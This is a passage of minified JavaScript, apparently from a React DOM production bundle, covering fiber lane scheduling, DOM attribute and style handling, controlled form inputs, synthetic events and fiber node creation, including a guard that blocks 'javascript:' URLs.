s=e.entanglements,c=e.expirationTimes,l=e.hiddenUpdates;for(n=o&~n;0<n;){var u=31-ct(n),d=1<<u;s[u]=0,c[u]=-1;var f=l[u];if(f!==null)for(l[u]=null,u=0;u<f.length;u++){var p=f[u];p!==null&&(p.lane&=-536870913)}n&=~d}r!==0&&wt(e,r,0),a!==0&&i===0&&e.tag!==0&&(e.suspendedLanes|=a&~(o&~t))}function wt(e,t,n){e.pendingLanes|=t,e.suspendedLanes&=~t;var r=31-ct(t);e.entangledLanes|=t,e.entanglements[r]=e.entanglements[r]|1073741824|n&261930}function Tt(e,t){var n=e.entangledLanes|=t;for(e=e.entanglements;n;){var r=31-ct(n),i=1<<r;i&t|e[r]&t&&(e[r]|=t),n&=~i}}function Et(e,t){var n=t&-t;return n=n&42?1:Dt(n),(n&(e.suspendedLanes|t))===0?n:0}function Dt(e){switch(e){case 2:e=1;break;case 8:e=4;break;case 32:e=16;break;case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:e=128;break;case 268435456:e=134217728;break;default:e=0}return e}function Ot(e){return e&=-e,2<e?8<e?e&134217727?32:268435456:8:2}function kt(){var e=D.p;return e===0?(e=window.event,e===void 0?32:Ch(e.type)):e}function At(e,t){var n=D.p;try{return D.p=e,t()}finally{D.p=n}}var jt=Math.random().toString(36).slice(2),k=`__reactFiber$`+jt,Mt=`__reactProps$`+jt,Nt=`__reactContainer$`+jt,Pt=`__reactEvents$`+jt,Ft=`__reactListeners$`+jt,It=`__reactHandles$`+jt,Lt=`__reactResources$`+jt,Rt=`__reactMarker$`+jt,zt=`__reactLoad$`+jt;function A(e){delete e[k],delete e[Mt],delete e[Ft],delete e[It]}function j(e){var t;if(t=e[k])return t;for(var n=e.parentNode;n;){if(t=n[Nt]||n[k]){if(n=t.alternate,t.child!==null||n!==null&&n.child!==null)for(e=fm(e);e!==null;){if(n=e[k])return n;e=fm(e)}return t}e=n,n=e.parentNode}return null}function M(e){if(e=e[k]||e[Nt]){var t=e.tag;if(t===5||t===6||t===13||t===31||t===26||t===27||t===3)return e}return null}function N(e){var t=e.tag;if(t===5||t===26||t===27||t===6)return e.stateNode;throw Error(i(33))}function P(e){var t=e[Lt];return t||=e[Lt]={hoistableStyles:new Map,hoistableScripts:new Map},t}function F(e){e[Rt]=!0}function Bt(e){e[zt]=void 0}var Vt=new Set,Ht={};function Ut(e,t){Wt(e,t),Wt(e+`Capture`,t)}function Wt(e,t){for(Ht[e]=t,e=0;e<t.length;e++)Vt.add(t[e])}var Gt=RegExp(`^[:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD][:A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD\\-.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*$`),Kt={},qt={};function Jt(e){return Ge.call(qt,e)?!0:Ge.call(Kt,e)?!1:Gt.test(e)?qt[e]=!0:(Kt[e]=!0,!1)}var I=!1;function Yt(){var e=I;return I=!1,e}function Xt(e,t,n){if(Jt(t)){if(n===null)e.removeAttribute(t);else{switch(typeof n){case`undefined`:case`function`:case`symbol`:e.removeAttribute(t);return;case`boolean`:var r=t.toLowerCase().slice(0,5);if(r!==`data-`&&r!==`aria-`){e.removeAttribute(t);return}}e.setAttribute(t,n)}}}function Zt(e,t,n){if(n===null)e.removeAttribute(t);else{switch(typeof n){case`undefined`:case`function`:case`symbol`:case`boolean`:e.removeAttribute(t);return}e.setAttribute(t,n)}}function Qt(e,t,n,r){if(r===null)e.removeAttribute(n);else{switch(typeof r){case`undefined`:case`function`:case`symbol`:case`boolean`:e.removeAttribute(n);return}e.setAttributeNS(t,n,r)}}function $t(e){switch(typeof e){case`bigint`:case`boolean`:case`number`:case`string`:case`undefined`:return e;case`object`:return e;default:return``}}function en(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()===`input`&&(t===`checkbox`||t===`radio`)}function tn(e,t,n){var r=Object.getOwnPropertyDescriptor(e.constructor.prototype,t);if(!e.hasOwnProperty(t)&&r!==void 0&&typeof r.get==`function`&&typeof r.set==`function`){var i=r.get,a=r.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(e){n=``+e,a.call(this,e)}}),Object.defineProperty(e,t,{enumerable:r.enumerable}),{getValue:function(){return n},setValue:function(e){n=``+e},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function nn(e){if(!e._valueTracker){var t=en(e)?`checked`:`value`;e._valueTracker=tn(e,t,``+e[t])}}function rn(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r=``;return e&&(r=en(e)?e.checked?`true`:`false`:e.value),e=r,e!==n&&(t.setValue(e),!0)}var an=/[\n"\\]/g;function on(e){return e.replace(an,function(e){return`\\`+e.charCodeAt(0).toString(16)+` `})}function sn(e,t,n,r,i,a,o,s){e.name=``,o!=null&&typeof o!=`function`&&typeof o!=`symbol`&&typeof o!=`boolean`?e.type=o:e.removeAttribute(`type`),t==null?o!==`submit`&&o!==`reset`||e.removeAttribute(`value`):o===`number`?(t===0&&e.value===``||e.value!=t)&&(e.value=``+$t(t)):e.value!==``+$t(t)&&(e.value=``+$t(t)),t==null?n==null?r!=null&&e.removeAttribute(`value`):ln(e,$t(n)):o===`number`&&e.value==t?ln(e,$t(e.value)):ln(e,$t(t)),i==null&&a!=null&&(e.defaultChecked=!!a),i!=null&&(e.checked=i&&typeof i!=`function`&&typeof i!=`symbol`),s!=null&&typeof s!=`function`&&typeof s!=`symbol`&&typeof s!=`boolean`?e.name=``+$t(s):e.removeAttribute(`name`)}function cn(e,t,n,r,i,a,o,s){if(a!=null&&typeof a!=`function`&&typeof a!=`symbol`&&typeof a!=`boolean`&&(e.type=a),t!=null||n!=null){if(!(a!==`submit`&&a!==`reset`||t!=null)){nn(e);return}n=n==null?``:``+$t(n),t=t==null?n:``+$t(t),s||t===e.value||(e.value=t),e.defaultValue=t}r??=i,r=typeof r!=`function`&&typeof r!=`symbol`&&!!r,e.checked=s?e.checked:!!r,e.defaultChecked=!!r,o!=null&&typeof o!=`function`&&typeof o!=`symbol`&&typeof o!=`boolean`&&(e.name=o),nn(e)}function ln(e,t){e.defaultValue!==``+t&&(e.defaultValue=``+t)}function un(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i<n.length;i++)t[`$`+n[i]]=!0;for(n=0;n<e.length;n++)i=t.hasOwnProperty(`$`+e[n].value),e[n].selected!==i&&(e[n].selected=i),i&&r&&(e[n].defaultSelected=!0)}else{for(n=``+$t(n),t=null,i=0;i<e.length;i++){if(e[i].value===n){e[i].selected=!0,r&&(e[i].defaultSelected=!0);return}t!==null||e[i].disabled||(t=e[i])}t!==null&&(t.selected=!0)}}function dn(e,t,n){if(t!=null&&(t=``+$t(t),t!==e.value&&(e.value=t),n==null)){e.defaultValue!==t&&(e.defaultValue=t);return}e.defaultValue=n==null?``:``+$t(n)}function fn(e,t,n,r){if(t==null){if(r!=null){if(n!=null)throw Error(i(92));if(we(r)){if(1<r.length)throw Error(i(93));r=r[0]}n=r}n??=``,t=n}n=$t(t),e.defaultValue=n,r=e.textContent,r===n&&r!==``&&r!==null&&(e.value=r),nn(e)}function pn(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var mn=new Set(`animationIterationCount aspectRatio borderImageOutset borderImageSlice borderImageWidth boxFlex boxFlexGroup boxOrdinalGroup columnCount columns flex flexGrow flexPositive flexShrink flexNegative flexOrder gridArea gridRow gridRowEnd gridRowSpan gridRowStart gridColumn gridColumnEnd gridColumnSpan gridColumnStart fontWeight lineClamp lineHeight opacity order orphans scale tabSize widows zIndex zoom fillOpacity floodOpacity stopOpacity strokeDasharray strokeDashoffset strokeMiterlimit strokeOpacity strokeWidth MozAnimationIterationCount MozBoxFlex MozBoxFlexGroup MozLineClamp msAnimationIterationCount msFlex msZoom msFlexGrow msFlexNegative msFlexOrder msFlexPositive msFlexShrink msGridColumn msGridColumnSpan msGridRow msGridRowSpan WebkitAnimationIterationCount WebkitBoxFlex WebKitBoxFlexGroup WebkitBoxOrdinalGroup WebkitColumnCount WebkitColumns WebkitFlex WebkitFlexGrow WebkitFlexPositive WebkitFlexShrink WebkitLineClamp`.split(` `));function hn(e,t,n){var r=t.indexOf(`--`)===0;n==null||typeof n==`boolean`||n===``?r?e.setProperty(t,``):t===`float`?e.cssFloat=``:e[t]=``:r?e.setProperty(t,n):typeof n!=`number`||n===0||mn.has(t)?t===`float`?e.cssFloat=n:e[t]=(``+n).trim():e[t]=n+`px`}function gn(e,t,n){if(t!=null&&typeof t!=`object`)throw Error(i(62));if(e=e.style,n!=null){for(var r in n)!n.hasOwnProperty(r)||t!=null&&t.hasOwnProperty(r)||(r.indexOf(`--`)===0?e.setProperty(r,``):r===`float`?e.cssFloat=``:e[r]=``,I=!0);for(var a in t)r=t[a],t.hasOwnProperty(a)&&n[a]!==r&&(hn(e,a,r),I=!0)}else for(var o in t)t.hasOwnProperty(o)&&hn(e,o,t[o])}function _n(e){if(e.indexOf(`-`)===-1)return!1;switch(e){case`annotation-xml`:case`color-profile`:case`font-face`:case`font-face-src`:case`font-face-uri`:case`font-face-format`:case`font-face-name`:case`missing-glyph`:return!1;default:return!0}}var vn=new Map([[`acceptCharset`,`accept-charset`],[`htmlFor`,`for`],[`httpEquiv`,`http-equiv`],[`crossOrigin`,`crossorigin`],[`accentHeight`,`accent-height`],[`alignmentBaseline`,`alignment-baseline`],[`arabicForm`,`arabic-form`],[`baselineShift`,`baseline-shift`],[`capHeight`,`cap-height`],[`clipPath`,`clip-path`],[`clipRule`,`clip-rule`],[`colorInterpolation`,`color-interpolation`],[`colorInterpolationFilters`,`color-interpolation-filters`],[`colorProfile`,`color-profile`],[`colorRendering`,`color-rendering`],[`dominantBaseline`,`dominant-baseline`],[`enableBackground`,`enable-background`],[`fillOpacity`,`fill-opacity`],[`fillRule`,`fill-rule`],[`floodColor`,`flood-color`],[`floodOpacity`,`flood-opacity`],[`fontFamily`,`font-family`],[`fontSize`,`font-size`],[`fontSizeAdjust`,`font-size-adjust`],[`fontStretch`,`font-stretch`],[`fontStyle`,`font-style`],[`fontVariant`,`font-variant`],[`fontWeight`,`font-weight`],[`glyphName`,`glyph-name`],[`glyphOrientationHorizontal`,`glyph-orientation-horizontal`],[`glyphOrientationVertical`,`glyph-orientation-vertical`],[`horizAdvX`,`horiz-adv-x`],[`horizOriginX`,`horiz-origin-x`],[`imageRendering`,`image-rendering`],[`letterSpacing`,`letter-spacing`],[`lightingColor`,`lighting-color`],[`markerEnd`,`marker-end`],[`markerMid`,`marker-mid`],[`markerStart`,`marker-start`],[`maskType`,`mask-type`],[`overlinePosition`,`overline-position`],[`overlineThickness`,`overline-thickness`],[`paintOrder`,`paint-order`],[`panose-1`,`panose-1`],[`pointerEvents`,`pointer-events`],[`renderingIntent`,`rendering-intent`],[`shapeRendering`,`shape-rendering`],[`stopColor`,`stop-color`],[`stopOpacity`,`stop-opacity`],[`strikethroughPosition`,`strikethrough-position`],[`strikethroughThickness`,`strikethrough-thickness`],[`strokeDasharray`,`stroke-dasharray`],[`strokeDashoffset`,`stroke-dashoffset`],[`strokeLinecap`,`stroke-linecap`],[`strokeLinejoin`,`stroke-linejoin`],[`strokeMiterlimit`,`stroke-miterlimit`],[`strokeOpacity`,`stroke-opacity`],[`strokeWidth`,`stroke-width`],[`textAnchor`,`text-anchor`],[`textDecoration`,`text-decoration`],[`textRendering`,`text-rendering`],[`transformOrigin`,`transform-origin`],[`underlinePosition`,`underline-position`],[`underlineThickness`,`underline-thickness`],[`unicodeBidi`,`unicode-bidi`],[`unicodeRange`,`unicode-range`],[`unitsPerEm`,`units-per-em`],[`vAlphabetic`,`v-alphabetic`],[`vHanging`,`v-hanging`],[`vIdeographic`,`v-ideographic`],[`vMathematical`,`v-mathematical`],[`vectorEffect`,`vector-effect`],[`vertAdvY`,`vert-adv-y`],[`vertOriginX`,`vert-origin-x`],[`vertOriginY`,`vert-origin-y`],[`wordSpacing`,`word-spacing`],[`writingMode`,`writing-mode`],[`xmlnsXlink`,`xmlns:xlink`],[`xHeight`,`x-height`]]),yn=/^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*:/i;function bn(e){return yn.test(``+e)?`javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')`:e}function xn(){}var Sn=null;function Cn(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var wn=null,Tn=null;function En(e){var t=M(e);if(t&&(e=t.stateNode)){var n=e[Mt]||null;a:switch(e=t.stateNode,t.type){case`input`:if(sn(e,n.value,n.defaultValue,n.defaultValue,n.checked,n.defaultChecked,n.type,n.name),t=n.name,n.type===`radio`&&t!=null){for(n=e;n.parentNode;)n=n.parentNode;for(n=n.querySelectorAll(`input[name="`+on(``+t)+`"][type="radio"]`),t=0;t<n.length;t++){var r=n[t];if(r!==e&&r.form===e.form){var a=r[Mt]||null;if(!a)throw Error(i(90));sn(r,a.value,a.defaultValue,a.defaultValue,a.checked,a.defaultChecked,a.type,a.name)}}for(t=0;t<n.length;t++)r=n[t],r.form===e.form&&rn(r)}break a;case`textarea`:dn(e,n.value,n.defaultValue);break a;case`select`:t=n.value,t!=null&&un(e,!!n.multiple,t,!1)}}}var Dn=!1;function On(e,t,n){if(Dn)return e(t,n);Dn=!0;try{return e(t)}finally{if(Dn=!1,(wn!==null||Tn!==null)&&(zd(),wn&&(t=wn,e=Tn,Tn=wn=null,En(t),e)))for(t=0;t<e.length;t++)En(e[t])}}function kn(e,t){var n=e.stateNode;if(n===null)return null;var r=n[Mt]||null;if(r===null)return null;n=r[t];a:switch(t){case`onClick`:case`onClickCapture`:case`onDoubleClick`:case`onDoubleClickCapture`:case`onMouseDown`:case`onMouseDownCapture`:case`onMouseMove`:case`onMouseMoveCapture`:case`onMouseUp`:case`onMouseUpCapture`:case`onMouseEnter`:(r=!r.disabled)||(e=e.type,r=e!==`button`&&e!==`input`&&e!==`select`&&e!==`textarea`),e=!r;break a;default:e=!1}if(e)return null;if(n&&typeof n!=`function`)throw Error(i(231,t,typeof n));return n}var An=typeof window<`u`&&window.document!==void 0&&window.document.createElement!==void 0,jn=!1;if(An)try{var Mn={};Object.defineProperty(Mn,"passive",{get:function(){jn=!0}}),window.addEventListener(`test`,Mn,Mn),window.removeEventListener(`test`,Mn,Mn)}catch{jn=!1}var Nn=null,Pn=null,Fn=null;function In(){if(Fn)return Fn;var e,t=Pn,n=t.length,r,i=`value`in Nn?Nn.value:Nn.textContent,a=i.length;for(e=0;e<n&&t[e]===i[e];e++);var o=n-e;for(r=1;r<=o&&t[n-r]===i[a-r];r++);return Fn=i.slice(e,1<r?1-r:void 0)}function Ln(e){var t=e.keyCode;return`charCode`in e?(e=e.charCode,e===0&&t===13&&(e=13)):e=t,e===10&&(e=13),32<=e||e===13?e:0}function Rn(){return!0}function zn(){return!1}function Bn(e){function t(t,n,r,i,a){for(var o in this._reactName=t,this._targetInst=r,this.type=n,this.nativeEvent=i,this.target=a,this.currentTarget=null,e)e.hasOwnProperty(o)&&(t=e[o],this[o]=t?t(i):i[o]);return this.isDefaultPrevented=(i.defaultPrevented==null?!1===i.returnValue:i.defaultPrevented)?Rn:zn,this.isPropagationStopped=zn,this}return w(t.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():typeof e.returnValue!=`unknown`&&(e.returnValue=!1),this.isDefaultPrevented=Rn)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():typeof e.cancelBubble!=`unknown`&&(e.cancelBubble=!0),this.isPropagationStopped=Rn)},persist:function(){},isPersistent:Rn}),t}var Vn={eventPhase:0,bubbles:0,cancelable:0,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:0,isTrusted:0},Hn=Bn(Vn),Un=w({},Vn,{view:0,detail:0}),Wn=Bn(Un),Gn,Kn,qn,Jn=w({},Un,{screenX:0,screenY:0,clientX:0,clientY:0,pageX:0,pageY:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,getModifierState:ar,button:0,buttons:0,relatedTarget:function(e){return e.relatedTarget===void 0?e.fromElement===e.srcElement?e.toElement:e.fromElement:e.relatedTarget},movementX:function(e){return`movementX`in e?e.movementX:(e!==qn&&(qn&&e.type===`mousemove`?(Gn=e.screenX-qn.screenX,Kn=e.screenY-qn.screenY):Kn=Gn=0,qn=e),Gn)},movementY:function(e){return`movementY`in e?e.movementY:Kn}}),Yn=Bn(Jn),Xn=Bn(w({},Jn,{dataTransfer:0})),Zn=Bn(w({},Un,{relatedTarget:0})),Qn=Bn(w({},Vn,{animationName:0,elapsedTime:0,pseudoElement:0})),$n=Bn(w({},Vn,{clipboardData:function(e){return`clipboardData`in e?e.clipboardData:window.clipboardData}})),er=Bn(w({},Vn,{data:0})),tr={Esc:`Escape`,Spacebar:` `,Left:`ArrowLeft`,Up:`ArrowUp`,Right:`ArrowRight`,Down:`ArrowDown`,Del:`Delete`,Win:`OS`,Menu:`ContextMenu`,Apps:`ContextMenu`,Scroll:`ScrollLock`,MozPrintableKey:`Unidentified`},nr={8:`Backspace`,9:`Tab`,12:`Clear`,13:`Enter`,16:`Shift`,17:`Control`,18:`Alt`,19:`Pause`,20:`CapsLock`,27:`Escape`,32:` `,33:`PageUp`,34:`PageDown`,35:`End`,36:`Home`,37:`ArrowLeft`,38:`ArrowUp`,39:`ArrowRight`,40:`ArrowDown`,45:`Insert`,46:`Delete`,112:`F1`,113:`F2`,114:`F3`,115:`F4`,116:`F5`,117:`F6`,118:`F7`,119:`F8`,120:`F9`,121:`F10`,122:`F11`,123:`F12`,144:`NumLock`,145:`ScrollLock`,224:`Meta`},rr={Alt:`altKey`,Control:`ctrlKey`,Meta:`metaKey`,Shift:`shiftKey`};function ir(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):(e=rr[e])?!!t[e]:!1}function ar(){return ir}var or=Bn(w({},Un,{key:function(e){if(e.key){var t=tr[e.key]||e.key;if(t!==`Unidentified`)return t}return e.type===`keypress`?(e=Ln(e),e===13?`Enter`:String.fromCharCode(e)):e.type===`keydown`||e.type===`keyup`?nr[e.keyCode]||`Unidentified`:``},code:0,location:0,ctrlKey:0,shiftKey:0,altKey:0,metaKey:0,repeat:0,locale:0,getModifierState:ar,charCode:function(e){return e.type===`keypress`?Ln(e):0},keyCode:function(e){return e.type===`keydown`||e.type===`keyup`?e.keyCode:0},which:function(e){return e.type===`keypress`?Ln(e):e.type===`keydown`||e.type===`keyup`?e.keyCode:0}})),sr=Bn(w({},Jn,{pointerId:0,width:0,height:0,pressure:0,tangentialPressure:0,tiltX:0,tiltY:0,twist:0,pointerType:0,isPrimary:0})),cr=Bn(w({},Vn,{submitter:0})),lr=Bn(w({},Un,{touches:0,targetTouches:0,changedTouches:0,altKey:0,metaKey:0,ctrlKey:0,shiftKey:0,getModifierState:ar})),ur=Bn(w({},Vn,{propertyName:0,elapsedTime:0,pseudoElement:0})),dr=Bn(w({},Jn,{deltaX:function(e){return`deltaX`in e?e.deltaX:`wheelDeltaX`in e?-e.wheelDeltaX:0},deltaY:function(e){return`deltaY`in e?e.deltaY:`wheelDeltaY`in e?-e.wheelDeltaY:`wheelDelta`in e?-e.wheelDelta:0},deltaZ:0,deltaMode:0})),fr=Bn(w({},Vn,{newState:0,oldState:0,source:0})),pr=[9,13,27,32],mr=An&&`CompositionEvent`in window,hr=null;An&&`documentMode`in document&&(hr=document.documentMode);var gr=An&&`TextEvent`in window&&!hr,_r=An&&(!mr||hr&&8<hr&&11>=hr),vr=` `,yr=!1;function br(e,t){switch(e){case`keyup`:return pr.indexOf(t.keyCode)!==-1;case`keydown`:return t.keyCode!==229;case`keypress`:case`mousedown`:case`focusout`:return!0;default:return!1}}function xr(e){return e=e.detail,typeof e==`object`&&`data`in e?e.data:null}var Sr=!1;function Cr(e,t){switch(e){case`compositionend`:return xr(t);case`keypress`:return t.which===32?(yr=!0,vr):null;case`textInput`:return e=t.data,e===vr&&yr?null:e;default:return null}}function wr(e,t){if(Sr)return e===`compositionend`||!mr&&br(e,t)?(e=In(),Fn=Pn=Nn=null,Sr=!1,e):null;switch(e){case`paste`:return null;case`keypress`:if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1<t.char.length)return t.char;if(t.which)return String.fromCharCode(t.which)}return null;case`compositionend`:return _r&&t.locale!==`ko`?null:t.data;default:return null}}var Tr={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function Er(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t===`input`?!!Tr[e.type]:t===`textarea`}function Dr(e,t,n,r){wn?Tn?Tn.push(r):Tn=[r]:wn=r,t=Jf(t,`onChange`),0<t.length&&(n=new Hn(`onChange`,`change`,null,n,r),e.push({event:n,listeners:t}))}var Or=null,kr=null;function Ar(e){Vf(e,0)}function jr(e){if(rn(N(e)))return e}function Mr(e,t){if(e===`change`)return t}var Nr=!1;if(An){var Pr;if(An){var Fr=`oninput`in document;if(!Fr){var Ir=document.createElement(`div`);Ir.setAttribute(`oninput`,`return;`),Fr=typeof Ir.oninput==`function`}Pr=Fr}else Pr=!1;Nr=Pr&&(!document.documentMode||9<document.documentMode)}function Lr(){Or&&(Or.detachEvent(`onpropertychange`,Rr),kr=Or=null)}function Rr(e){if(e.propertyName===`value`&&jr(kr)){var t=[];Dr(t,kr,e,Cn(e)),On(Ar,t)}}function zr(e,t,n){e===`focusin`?(Lr(),Or=t,kr=n,Or.attachEvent(`onpropertychange`,Rr)):e===`focusout`&&Lr()}function Br(e){if(e===`selectionchange`||e===`keyup`||e===`keydown`)return jr(kr)}function Vr(e,t){if(e===`click`)return jr(t)}function Hr(e,t){if(e===`input`||e===`change`)return jr(t)}function Ur(e,t){return e===t&&(e!==0||1/e==1/t)||e!==e&&t!==t}var Wr=typeof Object.is==`function`?Object.is:Ur;function Gr(e,t){if(Wr(e,t))return!0;if(typeof e!=`object`||!e||typeof t!=`object`||!t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++){var i=n[r];if(!Ge.call(t,i)||!Wr(e[i],t[i]))return!1}return!0}function Kr(e){if(e||=typeof document<`u`?document:void 0,e===void 0)return null;try{return e.activeElement||e.body}catch{return e.body}}function qr(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function Jr(e,t){var n=qr(e);e=0;for(var r;n;){if(n.nodeType===3){if(r=e+n.textContent.length,e<=t&&r>=t)return{node:n,offset:t-e};e=r}a:{for(;n;){if(n.nextSibling){n=n.nextSibling;break a}n=n.parentNode}n=void 0}n=qr(n)}}function Yr(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Yr(e,t.parentNode):`contains`in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Xr(e){e=e!=null&&e.ownerDocument!=null&&e.ownerDocument.defaultView!=null?e.ownerDocument.defaultView:window;for(var t=Kr(e.document);t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href==`string`}catch{n=!1}if(n)e=t.contentWindow;else break;t=Kr(e.document)}return t}function Zr(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t===`input`&&(e.type===`text`||e.type===`search`||e.type===`tel`||e.type===`url`||e.type===`password`)||t===`textarea`||e.contentEditable===`true`)}var Qr=An&&`documentMode`in document&&11>=document.documentMode,$r=null,ei=null,ti=null,ni=!1;function ri(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;ni||$r==null||$r!==Kr(r)||(r=$r,`selectionStart`in r&&Zr(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),ti&&Gr(ti,r)||(ti=r,r=Jf(ei,`onSelect`),0<r.length&&(t=new Hn(`onSelect`,`select`,null,t,n),e.push({event:t,listeners:r}),t.target=$r)))}function ii(e,t){var n={};return n[e.toLowerCase()]=t.toLowerCase(),n[`Webkit`+e]=`webkit`+t,n[`Moz`+e]=`moz`+t,n}var ai={animationend:ii(`Animation`,`AnimationEnd`),animationiteration:ii(`Animation`,`AnimationIteration`),animationstart:ii(`Animation`,`AnimationStart`),transitionrun:ii(`Transition`,`TransitionRun`),transitionstart:ii(`Transition`,`TransitionStart`),transitioncancel:ii(`Transition`,`TransitionCancel`),transitionend:ii(`Transition`,`TransitionEnd`)},oi={},si={};An&&(si=document.createElement(`div`).style,`AnimationEvent`in window||(delete ai.animationend.animation,delete ai.animationiteration.animation,delete ai.animationstart.animation),`TransitionEvent`in window||delete ai.transitionend.transition);function ci(e){if(oi[e])return oi[e];if(!ai[e])return e;var t=ai[e],n;for(n in t)if(t.hasOwnProperty(n)&&n in si)return oi[e]=t[n];return e}var li=ci(`animationend`),ui=ci(`animationiteration`),di=ci(`animationstart`),fi=ci(`transitionrun`),pi=ci(`transitionstart`),mi=ci(`transitioncancel`),hi=ci(`transitionend`),gi=new Map,_i=`abort auxClick beforeToggle cancel canPlay canPlayThrough click close contextMenu copy cut drag dragEnd dragEnter dragExit dragLeave dragOver dragStart drop durationChange emptied encrypted ended error fullscreenChange fullscreenError gotPointerCapture input invalid keyDown keyPress keyUp load loadedData loadedMetadata loadStart lostPointerCapture mouseDown mouseMove mouseOut mouseOver mouseUp paste pause play playing pointerCancel pointerDown pointerMove pointerOut pointerOver pointerUp progress rateChange reset resize seeked seeking stalled submit suspend timeUpdate touchCancel touchEnd touchStart volumeChange scroll toggle touchMove waiting wheel`.split(` `);_i.push(`scrollEnd`);function vi(e,t){gi.set(e,t),Ut(t,[e])}var yi=0;function bi(e,t){if(e.name!=null&&e.name!==`auto`)return e.name;if(t.autoName!==null)return t.autoName;e=bd.identifierPrefix;var n=yi++;return e=`_`+e+`t_`+n.toString(32)+`_`,t.autoName=e}function xi(e){if(e==null||typeof e==`string`)return e;var t=null,n=Od;if(n!==null)for(var r=0;r<n.length;r++){var i=e[n[r]];if(i!=null){if(i===`none`)return`none`;t=t==null?i:t+(` `+i)}}return t??e.default}function Si(e,t){return e=xi(e),t=xi(t),t==null?e===`auto`?null:e:t===`auto`?null:t}var Ci=typeof reportError==`function`?reportError:function(e){if(typeof window==`object`&&typeof window.ErrorEvent==`function`){var t=new window.ErrorEvent(`error`,{bubbles:!0,cancelable:!0,message:typeof e==`object`&&e&&typeof e.message==`string`?String(e.message):String(e),error:e});if(!window.dispatchEvent(t))return}else if(typeof process==`object`&&typeof process.emit==`function`){process.emit(`uncaughtException`,e);return}console.error(e)},wi=[],Ti=0,Ei=0;function Di(){for(var e=Ti,t=Ei=Ti=0;t<e;){var n=wi[t];wi[t++]=null;var r=wi[t];wi[t++]=null;var i=wi[t];wi[t++]=null;var a=wi[t];if(wi[t++]=null,r!==null&&i!==null){var o=r.pending;o===null?i.next=i:(i.next=o.next,o.next=i),r.pending=i}a!==0&&ji(n,i,a)}}function Oi(e,t,n,r){wi[Ti++]=e,wi[Ti++]=t,wi[Ti++]=n,wi[Ti++]=r,Ei|=r,e.lanes|=r,e=e.alternate,e!==null&&(e.lanes|=r)}function ki(e,t,n,r){return Oi(e,t,n,r),Mi(e)}function Ai(e,t){return Oi(e,null,null,t),Mi(e)}function ji(e,t,n){e.lanes|=n;var r=e.alternate;r!==null&&(r.lanes|=n);for(var i=!1,a=e.return;a!==null;)a.childLanes|=n,r=a.alternate,r!==null&&(r.childLanes|=n),a.tag===22&&(e=a.stateNode,e===null||e._visibility&1||(i=!0)),e=a,a=a.return;return e.tag===3?(a=e.stateNode,i&&t!==null&&(i=31-ct(n),e=a.hiddenUpdates,r=e[i],r===null?e[i]=[t]:r.push(t),t.lane=n|536870912),a):null}function Mi(e){if(50<kd)throw kd=0,Ad=null,Error(i(185));for(var t=e.return;t!==null;)e=t,t=e.return;return e.tag===3?e.stateNode:null}var Ni={};function Pi(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.refCleanup=this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Fi(e,t,n,r){return new Pi(e,t,n,r)}function Ii(e){return e=e.prototype,!(!e||!e.isReactComponent)}function Li(e,t){var n=e.alternate;return 